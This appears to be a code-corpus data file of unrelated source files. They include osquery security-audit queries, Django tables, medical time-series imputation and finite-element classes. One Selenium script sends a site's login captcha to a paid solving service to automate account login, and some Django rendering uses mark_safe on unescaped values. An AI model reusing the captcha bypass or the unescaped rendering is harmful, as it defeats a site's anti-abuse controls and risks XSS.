scheduled_tasks;\",\n \"win_programs\": \"select name, version from win_programs;\",\n \"firefox_addons\": \"select identifier, version, description, path from firefox_addons;\",\n \"extensions\": \"select * from osquery_extensions;\",\n}\n DEFAULT_HASHES_QUERY = {\n \"win_services\": \"select ws.module_path,ws.path, case IfNull (ws.module_path , '') when '' then (select wh.sha1 from win_hash wh where wh.path=ws.path limit 1 ) else (select wh.sha1 from win_hash wh where wh.path=ws.module_path limit 1) end as sha1 from win_services ws;\",\n \"appcompat_shims\": \"select ach.*,(select sha1 from win_hash wh where wh.path=ach.path limit 1 ) as sha1 from appcompat_shims ach;\",\n \"ie_extensions\": \"select iee.path,iee.name,iee.version,(select sha1 from win_hash wh where wh.path=iee.path limit 1 ) as sha1 from ie_extensions iee;\",\n \"drivers\": \"select d.image, d.provider, d.signed,(select sha1 from win_hash wh where wh.path=d.image limit 1 ) as sha1 from drivers d where d.provider not like '%Microsoft%' and d.image!='';\",\n\n}\n DEFAULT_INFO_QUERIES_MACOS = {\n \"time\": \"select unix_time, timestamp from time;\",\n \"chrome_extensions\": \"select identifier, version, description, path from chrome_extensions;\",\n \"kernel_info\": \"select path, version, arguments from kernel_info;\",\n \"certificates\": \"select common_name, issuer, self_signed, not_valid_after, path from certificates;\",\n \"firefox_addons\": \"select identifier, version, description, path from firefox_addons;\",\n \"etc_hosts\": \"select * from etc_hosts;\",\n \"startup_items\": \"select name, path, status from win_startup_items;\"\n}\n DEFAULT_INFO_QUERIES_LINUX = {\n \"time\": \"select unix_time, timestamp from time;\",\n \"kernel_info\": \"select path, version, arguments from kernel_info;\",\n \"etc_hosts\": \"select * from etc_hosts;\",\n \"chrome_extensions\": \"select identifier, version, description, path from chrome_extensions;\",\n \"firefox_addons\": \"select identifier, version, description, path from firefox_addons;\",\n \"rpm_packages\": \"select * from rpm_packages;\",\n \"deb_packages\": \"select * from deb_packages;\"\n\n}\n DEFAULT_INFO_DESCRIPTION = {\n \"win_epp_table\": \"The status of the Anti-Virus solution on your computer. If the product_state is not 'On' and 'product_signatures' are not 'Up-to-date' (wherever applicable) your computer might be at risk.\",\n \"win_services\": \"A Windows service, or a daemon on Unix, is a computer program that operates in the background and are often loaded automatically on startup. They can run even withou a user session. Below table provides a list of services running on your computer. Malwares can install themselves as service on a system to gain persistence. Clicking on the links in the , you can get a reputation check of the services installed on your system.\",\n \"startup_items\": \"The following applications are automatically started with the launch of your system. Having too many entries in the start_up items can increase the boot time of your system. Malwares can install themselves as a start_up item on a system to gain persistence. Clicking on the links in the , you can get a reputation check of the start_up items installed on your system.\",\n \"win_programs\": \"\",\n \"appcompat_shims\": \"Appcompat shims are created on Microsoft to be able to support compatibility of an application on various versions of the operating system without having to re-build the entire application. For more on shims (https://blogs.technet.microsoft.com/askperf/2011/06/17/demystifying-shims-or-using-the-app-compat-toolkit-to-make-your-old-stuff-work-with-your-new-stuff/). Malwares leverage shim data bases (SDBs) as a persistence mechanism. The following table lists the SDBs on your system. Clicking on the links in the , you can get a reputation check of the shims installed on your system.\",\n \"scheduled_tasks\": \"scheuduled_tasks (or cron jobs) are the program run by a Task Scheduler component of the operating system to run specified jobs at regular intervals. Malware (https://www.csoonline.com/article/2621116/malware/malware-loves-windows-task-scheduler.html) have abused this feature of operating systems. The following table provides the various scheduled tasks configured on your system. Clicking on the links in the , you can get a reputation check of the scheduled_tasks items installed on your system.\",\n \"chrome_extensions\": \"Malwares, specially adwares or spywares, have been disuising themselves as browser extensions, especially if the extension was not installed from the trusted stores. For more information: https://www.enisa.europa.eu/publications/info-notes/malware-in-browser-extensions. The following table lists the various Chrome extensions on your system. The same list can also be obtained by typing 'chrome://extensions/' in your Chrome's address bar. If you see anything suspicious, uninstall the extension.\",\n \"ie_extensions\": \"Malwares, specially adwares or spywares, have been disuising themselves as browser extensions, especially if the extension was not installed from the trusted stores. For more information: https://www.enisa.europa.eu/publications/info-notes/malware-in-browser-extensions. The following table lists the various IE extensions on your system. If you see anything suspicious, uninstall the extension.\",\n \"time\": \"The following table provides your system time stamp in Unix (https://en.wikipedia.org/wiki/Unix_time) and UTC (https://en.wikipedia.org/wiki/Coordinated_Universal_Time) formats. The timestamp represent the time at which the agent starts (usually every reboot time after the installation)\",\n \"certificates\": \"Digital certificates (https://en.wikipedia.org/wiki/Public_key_certificate) are used to establish the identity, and trust, of the software programs. The following table lists the various digital certifcates installed on your system, their providers, reputation, expiry date and the signer details.\",\n \"etc_hosts\": \"hosts file is used by an operating system to resolve a computer (or an internet domain) to an address. This link (https://blog.malwarebytes.com/cybercrime/2016/09/hosts-file-hijacks/) describes on how malware can make use of hosts file. The following table lists the entries in the hosts file of your computer\",\n \"patches\": \"Operating system vendors regularly release software updates and patches for their operating system. An unpatched system adds to the risk and vulnerability of the computer. For the latest cumulative list of updates released by Microsoft click here (https://support.microsoft.com/en-us/help/894199/software-update-services-and-windows-server-update-services-2018). The following table lists the updates installed on your computer\",\n \"kva_speculative_info\": \"e following table provides the presence (or absence) of mitigations for the Spectre and Meltdown vulnerabilites. To know more about fix of these vulnerabilites on Windows operating systems click here (https://support.microsoft.com/en-us/help/4073119/protect-against-speculative-execution-side-channel-vulnerabilities-in). Mitigations for Spectre - Kernel VA Shadowing. Kernel VA Shadowing Enabled (kva_shadow_enabled: 1 => Yes and 0 => No ). ----> With User pages marked global (kva_shadow_user_global: 1 => Yes and 0 => No )\"\n }\n\n DEFAULT_VERSION_INFO_QUERIES = {\n \"_osquery_version\": \"Snapshot query to find out the osquery running in agent\",\n \"_extension_version\": \"Snapshot query to find out the extension running in agent\"\n }","sub_path":"plgx-esp/polylogyx/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":43613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"331687406","text":"from django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django_tables2 import tables, columns\nfrom django.utils.translation import gettext as _\n\nfrom .models import AuditLog\n\n\nclass Table(tables.Table):\n select_row = columns.CheckBoxColumn(accessor='pk',\n attrs={\n \"th\": {\n \"style\": 'width: 15px'\n },\n \"th__input\": {\n \"onclick\": \"toggle(this)\"\n },\n \"td\": {\n \"style\": 'width: 15px'\n },\n },\n orderable=False,\n exclude_from_export=True)\n actions = columns.TemplateColumn(verbose_name=_('Actions'),\n template_name='switchblade_dashboard/tags/table_action.html',\n attrs={\n \"th\": {\n \"style\": 'width: 90px'\n },\n \"td\": {\n \"style\": 'width: 90px'\n },\n },\n orderable=False,\n exclude_from_export=True)\n\n id = columns.Column(verbose_name='ID', accessor='pk', visible=False)\n delete = columns.BooleanColumn(verbose_name='DELETE', empty_values=(), visible=False)\n\n def render_delete(self):\n return False\n\n class Meta:\n # model = City\n attrs = {\n 'class': 'table table-bordered table-hover dataTable no-footer',\n 'th': {\n '_ordering': {\n 'orderable': 'sorting',\n 'ascending': 'sorting_asc',\n 'descending': 'sorting_desc'\n }\n }\n }\n sequence = ('select_row', 'id', 'actions', '...', 'delete')\n # exclude = ('select_row', )\n exclude_from_export = []\n exclude_from_template = []\n ignore_on_template_import = []\n auxiliary_columns = []\n\n\nclass AuditLogTable(Table):\n content_object = columns.Column(verbose_name=_('Object Reference'), accessor='content_object', visible=True)\n trace = columns.JSONColumn(verbose_name=_('Traceback'), accessor='trace', json_dumps_kwargs={'ensure_ascii': False, 'indent': 2})\n\n class Meta(Table.Meta):\n model = AuditLog\n fields = ['level', 'created_on', 'msg', 'created_by', 'content_object', 'trace']\n exclude = ('select_row', 'actions')\n\n def render_level(self, record, value):\n color = AuditLog.LEVEL_COLOR.get(value, 'black')\n return mark_safe(f'{value}')\n\n def render_created_on(self, record, value):\n return timezone.localtime(value).strftime(\"%Y-%m-%d %H:%M\")\n\n def render_content_object(self, record, value):\n try:\n return mark_safe(f'{value}')\n except:\n return value\n\n def value_level(self, record, value):\n return value\n","sub_path":"code/switchblade_dashboard/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"506614046","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n__author__ = \"RLA\"\n\nfrom model.Vector2D import Vector2D\nfrom random import randint\n\n\nclass Dot:\n\n def move(self, speed=10):\n x_direction = randint(0, 1)\n y_direction = randint(0, 1)\n\n print(str(x_direction))\n print(str(y_direction))\n if x_direction == 0:\n x_speed = speed\n else:\n x_speed = -speed\n\n if y_direction == 0:\n y_speed = speed\n else:\n y_speed = -speed\n\n if self.generation == 0:\n movement = Vector2D(x_speed, y_speed)\n\n # Move Dot\n self.pos = self.pos + movement\n\n # Add new movement to list of movements\n self.movements.append(movement)\n\n def __init__(self, cid, pos, radius, parent=None, generation=0):\n self.id = cid\n self.pos = pos\n self.radius = radius\n self.generation = generation\n if parent is not None:\n self.movements = parent.movements\n else:\n self.movements = []\n\n\n","sub_path":"model/Dot.py","file_name":"Dot.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"288829413","text":"class node:\n def __init__(self,ele):\n self.ele=ele\n self.right=None\n self.left=None\ndef inorder(pos):\n \n if pos!=None:\n inorder(pos.left)\n print(pos.ele)\n inorder(pos.right)\ndef preorder(pos):\n \n if pos!=None:\n print(pos.ele)\n preorder(pos.left)\n preorder(pos.right)\ndef postorder(pos):\n if pos!=None:\n postorder(pos.left)\n postorder(pos.right)\n print(pos.ele)\na=node(10)\na.right=node(20)\na.right.left=node(15)\na.left=node(30)\na.left.right=node(28)\ninorder(a)\n","sub_path":"binarytree.py","file_name":"binarytree.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"82304037","text":"\"\"\" \nImputation on eICU\n\"\"\"\n\nimport json\nimport numpy as np\nimport os\nimport pandas as pd\n\nimport functions.util_impute as eicu_impute\nimport functions.util_array as mlhc_array\n\npe = os.path.exists\npj = os.path.join\nHOME = os.path.expanduser(\"~\")\n\n\nclass Timegridder():\n ''' Function transforming the input table from the eICU tables into \" \\\n \"imputed values'''\n\n def __init__(self, timegrid_step_mins=60.0):\n\n# # List of selected vitalPeriodic variables\n# self.sel_vs_vars = [\"temperature\", \"sao2\", \"heartrate\", \"respiration\",\n# \"cvp\", \"etco2\", \"systemicsystolic\", \"systemicdiastolic\",\n# \"systemicmean\", \"pasystolic\", \"padiastolic\", \"pamean\",\n# \"st1\", \"st2\", \"st3\"]\n#\n# # List of selected vitalAperiodic variables\n# self.sel_avs_vars = [\"noninvasivesystolic\", \"noninvasivediastolic\",\n# \"noninvasivemean\", \"paop\", \"cardiacoutput\",\n# \"cardiacinput\", \"svr\", \"svri\", \"pvr\", \"pvri\"]\n#\n vs_vars = []\n with open( pj(HOME, \"Datasets/eicu-2.0/included_per_variables.txt\") ) \\\n as fp:\n for line in fp:\n vs_vars.append( line.strip() )\n self.sel_vs_vars = vs_vars\n\n avs_vars = []\n with open( pj(HOME, \"Datasets/eicu-2.0/included_aper_variables.txt\") )\\\n as fp:\n for line in fp:\n avs_vars.append( line.strip() )\n self.sel_avs_vars = avs_vars\n\n # Time grid interval length in minutes\n self.timegrid_step_mins = timegrid_step_mins\n\n # Maximum forward filling time in seconds for a variable\n self.max_forward_fill_secs_vs = 3600\n self.max_forward_fill_secs_avs = 3600\n self.max_forward_fill_secs_lab = 24*3600\n\n self.create_pid_col = True\n\n # These variables are set differently for asyncronous data\n self._cache_tsm = None\n self._cache_mffsv = None\n self._cache_mffsa = None\n self._cache_mffsl = None\n self._cache_cpc = None\n\n def set_quantile_dict(self, quantile_dict):\n ''' Sets internal state with quantile dict'''\n self.var_quantile_dict=quantile_dict\n\n def set_selected_lab_vars(self, lab_vars):\n ''' Sets a list of selected lab variables'''\n self.lab_vars = lab_vars\n\n # This is going to collate all the data from each table, per patient, and\n # save it for a given patient.\n def save_async(self, df_lab, df_vs, df_avs, pid=None):\n self._adapt_vars_for_async(reset=False)\n\n df_lab.sort_values(by=\"labresultoffset\", inplace=True,\n kind=\"mergesort\")\n df_vs.sort_values(by=\"observationoffset\", inplace=True,\n kind=\"mergesort\")\n df_avs.sort_values(by=\"observationoffset\", inplace=True,\n kind=\"mergesort\")\n hr_col = df_vs[[\"observationoffset\", \"heartrate\"]].dropna()\n\n min_ts = hr_col.observationoffset.min()\n max_ts = hr_col.observationoffset.max()\n N = int( (max_ts - min_ts + 1) / self.timegrid_step_mins )\n num_total_vars = 1 + len(self.sel_vs_vars) + len(self.sel_avs_vars) \\\n + len(self.lab_vars)\n data_mat = np.zeros((N, num_total_vars)) * np.nan\n time_arr = np.arange(min_ts, max_ts+1,self.timegrid_step_mins).astype(\\\n np.int32)\n data_mat[:,0] = time_arr\n # Add timestamps in at the end\n\n var_names = [\"ts\"]\n var_idx = 1\n ts_idx_list = list(range(N)) # List of timestamps that have no data\n for var in self.sel_vs_vars:\n finite_df = df_vs[[\"observationoffset\", var]].dropna() \n raw_ts = np.array(finite_df[\"observationoffset\"])\n raw_values = np.array(finite_df[var])\n for ts,val in zip(raw_ts,raw_values):\n if ts >= min_ts and ts <= max_ts:\n ts_idx = np.where(time_arr==ts)[0][0]\n data_mat[ts_idx, var_idx] = val\n if ts_idx in ts_idx_list:\n ts_idx_list.remove(ts_idx)\n var_idx += 1\n var_names.append( \"vs_{}\".format(var) )\n\n for var in self.sel_avs_vars:\n finite_df = df_avs[[\"observationoffset\", var]].dropna()\n raw_ts = np.array(finite_df[\"observationoffset\"])\n raw_values = np.array(finite_df[var])\n for ts,val in zip(raw_ts,raw_values):\n if ts >= min_ts and ts <= max_ts:\n ts_idx = np.where(time_arr==ts)[0][0]\n data_mat[ts_idx, var_idx] = val\n if ts_idx in ts_idx_list:\n ts_idx_list.remove(ts_idx)\n var_idx += 1\n var_names.append( \"avs_{}\".format(var) )\n\n for var in self.lab_vars:\n sel_df = df_lab[df_lab[\"labname\"] == var]\n if sel_df.shape[0] > 0:\n finite_df = sel_df[[\"labresultoffset\", \"labresult\"]].dropna()\n raw_ts = np.array(finite_df[\"labresultoffset\"])\n raw_values = np.array(finite_df[\"labresult\"])\n for ts,val in zip(raw_ts,raw_values):\n if ts >= min_ts and ts <= max_ts:\n ts_idx = np.where(time_arr==ts)[0][0]\n data_mat[ts_idx, var_idx] = val\n if ts_idx in ts_idx_list:\n ts_idx_list.remove(ts_idx)\n var_idx += 1\n var_names.append( \"lab_{}\".format(var) )\n\n self._adapt_vars_for_async(reset=True)\n\n data_mat = np.delete(data_mat, ts_idx_list, 0)\n\n df_out = pd.DataFrame(data_mat, columns=var_names)\n return df_out\n\n def transform(self, df_lab, df_vs, df_avs, pid=None):\n df_lab.sort_values(by=\"labresultoffset\", inplace=True,\n kind=\"mergesort\")\n df_vs.sort_values(by=\"observationoffset\", inplace=True,\n kind=\"mergesort\")\n hr_col = df_vs[[\"observationoffset\", \"heartrate\"]].dropna()\n min_ts = hr_col.observationoffset.min()\n max_ts = hr_col.observationoffset.max()\n timegrid = np.arange(0.0, max_ts-min_ts, self.timegrid_step_mins)\n df_avs.sort_values(by=\"observationoffset\", inplace=True,\n kind=\"mergesort\")\n df_out_dict = {}\n df_out_dict[\"ts\"] = timegrid\n\n if self.create_pid_col:\n df_out_dict[\"patientunitstayid\"] = mlhc_array.value_empty(\\\n timegrid.size, int(pid))\n\n for var in self.sel_vs_vars:\n finite_df = df_vs[[\"observationoffset\", var]].dropna()\n raw_ts = np.array(finite_df[\"observationoffset\"])\n raw_values = np.array(finite_df[var])\n pred_values = eicu_impute.impute_variable(raw_ts, raw_values,\n timegrid, leave_nan_threshold_secs=\\\n self.max_forward_fill_secs_vs,\n grid_period=self.timegrid_step_mins,\n normal_value=self.var_quantile_dict[\\\n \"periodic_\"+var][49])\n df_out_dict[\"vs_{}\".format(var)] = pred_values\n\n for var in self.sel_avs_vars:\n finite_df = df_avs[[\"observationoffset\", var]].dropna()\n raw_ts = np.array(finite_df[\"observationoffset\"])\n raw_values = np.array(finite_df[var])\n pred_values = eicu_impute.impute_variable(raw_ts, raw_values,\n timegrid, leave_nan_threshold_secs=\\\n self.max_forward_fill_secs_avs,\n grid_period=self.timegrid_step_mins,\n normal_value=self.var_quantile_dict[\\\n \"aperiodic_\"+var][49])\n df_out_dict[\"avs_{}\".format(var)] = pred_values\n\n for var in self.lab_vars:\n normal_value = self.var_quantile_dict[\"lab_\"+var][49]\n sel_df = df_lab[df_lab[\"labname\"] == var]\n if sel_df.shape[0] == 0:\n pred_values = mlhc_array.value_empty(timegrid.size,\n normal_value)\n else:\n finite_df = sel_df[[\"labresultoffset\", \"labresult\"]].dropna()\n raw_ts = np.array(finite_df[\"labresultoffset\"])\n raw_values = np.array(finite_df[\"labresult\"])\n pred_values = eicu_impute.impute_variable(raw_ts, raw_values,\n timegrid, leave_nan_threshold_secs=\\\n self.max_forward_fill_secs_lab,\n grid_period=self.timegrid_step_mins,\n normal_value=normal_value)\n\n df_out_dict[\"lab_{}\".format(var)] = pred_values\n\n df_out = pd.DataFrame(df_out_dict)\n return df_out\n\n def _adapt_vars_for_async(self, reset):\n if reset:\n self.timegrid_step_mins = self._cache_tsm\n self.max_forward_fill_secs_vs = self._cache_mffsv\n self.max_forward_fill_secs_avs = self._cache_mffsa\n self.max_forward_fill_secs_lab = self._cache_mffsl\n self.create_pid_col = self._cache_cpc\n else:\n self._cache_tsm = self.timegrid_step_mins\n self._cache_mffsv = self.max_forward_fill_secs_vs\n self._cache_mffsa = self.max_forward_fill_secs_avs\n self._cache_mffsl = self.max_forward_fill_secs_lab\n self._cache_cpc = self.create_pid_col\n \n self.timegrid_step_mins = 1\n self.max_forward_fill_secs_vs = 0\n self.max_forward_fill_secs_avs = 0\n self.max_forward_fill_secs_lab = 0\n self.create_pid_col = False\n\n","sub_path":"eicu_preproc/classes/imputer.py","file_name":"imputer.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"248111813","text":"from lubricentro_myc.models import ElementoRemito\nfrom django import template\nregister = template.Library()\n\n\n@register.simple_tag\ndef check_pagado(request, remito_id):\n elem_remitos = ElementoRemito.objects.filter(\n remito=remito_id, pagado=False)\n if len(elem_remitos) == 0:\n return True\n else:\n return False\n","sub_path":"django_project/lubricentro_myc/templatetags/custom_tags.py","file_name":"custom_tags.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"374246918","text":"from selenium import webdriver\nimport base64\nfrom ceshi import *\n\nfilename = 'test.jpg'\n\n\ndef get_picture(driver, filename):\n # 获取验证码图片\n driver = driver.find_elements_by_tag_name(\"img\")[-1] # 获取当前页面的图片信息\n picture_url = driver.get_attribute('src')\n str1 = picture_url.split(',')[-1]\n # print(str1)\n\n # 进行转码\n img = base64.b64decode(str1)\n file = open(filename, 'wb')\n file.write(img)\n file.close()\n\n\ndef get_ret(filename):\n \"\"\"调用云打码去获取验证码结果\"\"\"\n ydm = Yundama(YUNDAMA_USERNAME, YUNDAMA_PASSWORD, YUNDAMA_APP_ID, YUNDAMA_APP_KEY)\n result = ydm.identify(file=filename)\n print(result)\n print(type(result))\n return result\n\n\ndef get_cookies(url):\n import time\n u'启动selenium获取浏览器cookies'\n # chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument('--headless')\n # driver = webdriver.Chrome(chrome_options=chrome_options)\n\n # 显示\n driver = webdriver.Chrome()\n driver.get(url)\n # driver.delete_all_cookies()\n time.sleep(1)\n driver.find_element_by_xpath('//*[@id=\"mobile\"]').send_keys(\"手机号\")\n\n # 获取验证码图片\n get_picture(driver, filename)\n time.sleep(3)\n\n ret = get_ret(filename)\n driver.find_element_by_xpath('//*[@id=\"captcha1\"]').send_keys(ret)\n\n # 点击获取手机验证码\n driver.find_element_by_xpath('/html/body/div/div/div[2]/div/div/div/form/div[3]/span').click()\n yanzhengma2 = input('输入数字验证码:')\n driver.find_element_by_xpath('//*[@id=\"code\"]').send_keys(yanzhengma2)\n time.sleep(2)\n # 点击登录\n driver.find_element_by_xpath('/html/body/div/div/div[2]/div/div/div/form/input').click()\n time.sleep(1)\n cookie = driver.get_cookies()\n driver.quit()\n\n return cookie\n\n\nurl = 'https://sso.toutiao.com/'\ncookies = get_cookies(url)\nprint(len(cookies))\n\n# 测试cookie的可用性\nurl1 = 'https://www.toutiao.com/a6602348329772777997/'\ndriver = webdriver.Chrome()\ndriver.delete_all_cookies()\ndriver.get(url1)\ntime.sleep(5)\n\nfor cookie in cookies:\n # cookie =\n driver.add_cookie(cookie)\n\ndriver.refresh()\nprint(driver.get_cookies())\n","sub_path":"toutiao登录.py","file_name":"toutiao登录.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"138863441","text":"def longestPalindrome(s):\n i=1\n a=[0,0]\n longestPalindrome=\"\"\n while ilen(s)-1:\n print('in',i,j)\n j-=1\n break\n else:\n j-=1\n break\n\n if j>a[1]:\n a[0]=i\n a[1]=j\n\n i+=1\n return a\n\n\ns='acdefefbahabchghu'\na=longestPalindrome(s)\ni,j=a[0],a[1]\nprint(a)\nprint(s[i-j:i+j+1])\n\n","sub_path":"python学习资料汇总/python/learing python,the hard way/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"647553297","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2013 Radim Rehurek \n# Licensed under the GNU LGPL v2.1 - http://www.gnu.org/licenses/lgpl.html\n\n\"\"\"\nThis module contains functions to perform segmentation on a list of topics.\n\"\"\"\n\nimport itertools\nimport logging\n\nfrom gensim.topic_coherence.text_analysis import (\n CorpusAccumulator, WordOccurrenceAccumulator, ParallelWordOccurrenceAccumulator,\n WordVectorsAccumulator)\n\nlogger = logging.getLogger(__name__)\n\n\ndef p_boolean_document(corpus, segmented_topics):\n \"\"\"This function performs the boolean document probability estimation.\n Boolean document estimates the probability of a single word as the number\n of documents in which the word occurs divided by the total number of documents.\n\n Args:\n corpus : The corpus of documents.\n segmented_topics : Output from the segmentation of topics. Could be simply topics too.\n\n Returns:\n accumulator : word occurrence accumulator instance that can be used to lookup token\n frequencies and co-occurrence frequencies.\n \"\"\"\n top_ids = unique_ids_from_segments(segmented_topics)\n return CorpusAccumulator(top_ids).accumulate(corpus)\n\n\ndef p_boolean_sliding_window(texts, segmented_topics, dictionary, window_size, processes=1):\n \"\"\"This function performs the boolean sliding window probability estimation.\n Boolean sliding window determines word counts using a sliding window. The window\n moves over the documents one word token per step. Each step defines a new virtual\n document by copying the window content. Boolean document is applied to these virtual\n documents to compute word probabilities.\n\n Args:\n texts : List of string sentences.\n segmented_topics : Output from the segmentation of topics. Could be simply topics too.\n dictionary : Gensim dictionary mapping of the tokens and ids.\n window_size : Size of the sliding window. 110 found out to be the ideal size for large corpora.\n\n Returns:\n accumulator : word occurrence accumulator instance that can be used to lookup token\n frequencies and co-occurrence frequencies.\n \"\"\"\n top_ids = unique_ids_from_segments(segmented_topics)\n if processes <= 1:\n accumulator = WordOccurrenceAccumulator(top_ids, dictionary)\n else:\n accumulator = ParallelWordOccurrenceAccumulator(processes, top_ids, dictionary)\n logger.info(\"using %s to estimate probabilities from sliding windows\", accumulator)\n return accumulator.accumulate(texts, window_size)\n\n\ndef p_word2vec(texts, segmented_topics, dictionary, window_size=None, processes=1, model=None):\n \"\"\"Train word2vec model on `texts` if model is not None.\n Returns:\n ----\n accumulator: text accumulator with trained context vectors.\n \"\"\"\n top_ids = unique_ids_from_segments(segmented_topics)\n accumulator = WordVectorsAccumulator(\n top_ids, dictionary, model, window=window_size, workers=processes)\n return accumulator.accumulate(texts, window_size)\n\n\ndef unique_ids_from_segments(segmented_topics):\n \"\"\"Return the set of all unique ids in a list of segmented topics.\n\n Args:\n segmented_topics: list of tuples of (word_id_set1, word_id_set2). Each word_id_set\n is either a single integer, or a `numpy.ndarray` of integers.\n Returns:\n unique_ids : set of unique ids across all topic segments.\n \"\"\"\n unique_ids = set() # is a set of all the unique ids contained in topics.\n for s_i in segmented_topics:\n for word_id in itertools.chain.from_iterable(s_i):\n if hasattr(word_id, '__iter__'):\n unique_ids.update(word_id)\n else:\n unique_ids.add(word_id)\n\n return unique_ids\n","sub_path":"home--tommy--mypy/mypy/lib/python2.7/site-packages/gensim/topic_coherence/probability_estimation.py","file_name":"probability_estimation.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"114652444","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom interpolator import InterpolatorBuilder\nfrom integrator import IntegratorBuilder\nfrom math import factorial\n\nclass RefElement :\n \"\"\" Element de référence comprenant les polynomes interpolateurs et les methode d'intégration\"\"\"\n \n def __init__(self, dimension, integrate, interpolator) :\n \"\"\" xs : sommets de l'élement [[x1, ... xn], [y1, ...yn], ... ]\n intetgrate : méthodes d'intégration utilisée ('lineare', 'quadratic', 'cubic')\n \"\"\"\n \n # Construit un simplexe par la dimension n souhaitée\n # xs = [ I_n 0_nx1]\n xs = np.concatenate((np.eye(dimension), np.zeros((dimension, 1))), axis=1)\n simplex = Simplex(xs)\n\n # Ajout des polynomes interpolateurs\n N = InterpolatorBuilder.build(interpolator, simplex)\n \n self.phi = N.phi\n self.gradPhi = N.gradPhi\n \n # Ajoute une méthode d'intégration \n self.integrate = IntegratorBuilder.build(integrate, simplex)\n \n \nclass Element :\n \"\"\" Element standard\"\"\"\n \n def __init__(self, simplex, ref) :\n \"\"\" simplex : le simplex décrivant l'élément\n ref : élément de référence du problème\n \"\"\"\n self.ref = ref\n self.simplex = simplex\n self.Te = np.add(simplex.xs[:, :-1], -simplex.xs[:, -1].reshape(simplex.dim_work, 1))\n \n # Simplexe 2D ou plus\n if simplex.dim >= 2 :\n self.Te_inv = np.linalg.inv(self.Te)\n self.Je = np.linalg.det(self.Te)\n if self.Je < 0 :\n print(\"Le jacobien est négatif :\", simplex.xs)\n # Si Simplexe 1D\n if simplex.dim == 1 :\n #self.Te_inv = 1/self.Te\n self.Je = np.linalg.norm(self.Te)\n \n def __str__(self) :\n des = \"points : \\n\"+str(self.simplex.xs)+\"\\n\"\n des += \"Te =\\n\"+str(self.Te)+\"\\n\"+\"Je = \"+str(self.Je)+\"\\n\"\n return des\n \n def coord(self, x) :\n return self.Te.dot(x) + self.simplex.xs[:, -1]\n \n def phi(self, x) :\n \"\"\" Calcul phi par l'élement de référence\"\"\"\n return self.ref.phi(x)\n \n def gradPhi(self, x=0) :\n \"\"\" Calcul grad phi par la transfomé\"\"\"\n return self.Te_inv.T.dot(self.ref.gradPhi(x))#/self.Je\n \n \n \n\nclass Simplex :\n \"\"\" Simplexe à N dimensions\"\"\"\n \n def __init__(self, xs) :\n \"\"\" xs : sommets du simplexe [[x1, ... xn], [y1, ...yn], ... ]\"\"\"\n \n # Dimension de travail dans lequel les coordonnées de l'éléments sont données\n self.dim_work = len(xs)\n # Dimension de l'élément. Peut être différent de la dimensionde travail\n # dans le cas d'élément de Neumann\n self.dim = len(xs[0]) - 1\n \n self.xs = np.array(xs)\n # Réorganise les points \n # [[x1, ... xn], [y1, ...yn], ... ] --> [[x1, y1, ...], ... [xn, yn, ...]]\n self.points = self.xs.T\n \n \n def getCenterOfGravity(self) :\n \"\"\" Calcul le centre de gravité du simplexe \"\"\"\n # _n_ \n # 1 \\ Point_k\n # CoG = --- /__ \n # n k\n return np.sum(self.points, axis=0, dtype=float)/len(self.points)\n \n def getMiddles(self) :\n \"\"\" Retourne les milieux des segments \"\"\"\n middles = []\n for i in range(0, len(self.points)-1) :\n middles.append( (self.points[i]+self.points[i+1])/2 )\n # Add the last middle between first and last point\n middles.append( (self.points[0]+self.points[-1])/2)\n \n return middles\n \n def getVolume(self) :\n \"\"\" Retourne l'hypervolume du simplex si simplexe STANDARD\"\"\" \n return 1.0/factorial(self.dim)\n ","sub_path":"element.py","file_name":"element.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"297205830","text":"import pandas as pd\r\nimport numpy as np\r\n# data frame object\r\n# name the columns (names)\r\ndf = pd.read_csv(\"./train.tsv\",\r\n sep='\\t',\r\n names=[\"Price\", \"Rooms\",\r\n \"Meters2\", \"Floor\", \"Address\",\r\n \"Description\"])\r\n# price of flats (mean)\r\nprice_mean = round(df.Price.mean(), 2)\r\n# create array and data series\r\ndata = np.array([price_mean])\r\nseries = pd.Series(data)\r\n# export to csv file\r\nseries.to_csv(\"out0.csv\", index=False, header=False)","sub_path":"script_1.py","file_name":"script_1.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"115684144","text":"def pointCollector(a): # a is the shapefile directory\n import os\n import shapefile as shp\n if os.path.isfile(a) == False:\n print(\"Shapefile couldn't found please check the directory!!!\")\n else:\n shpFile = shp.Reader(a)\n for shape in shpFile.shapeRecords():\n x = [i[0] for i in shape.shape.points[:]]\n y = [i[1] for i in shape.shape.points[:]]\n return x, y\n\ndef lenghtCalculator(xCoor, yCoor):\n if len(xCoor) != len(yCoor):\n print(\"length of the coordinate arrays didn't match\")\n elif type(xCoor) != list:\n print(\" coordinates must be 1-D array\")\n elif len(xCoor) == 1:\n print(\"define at 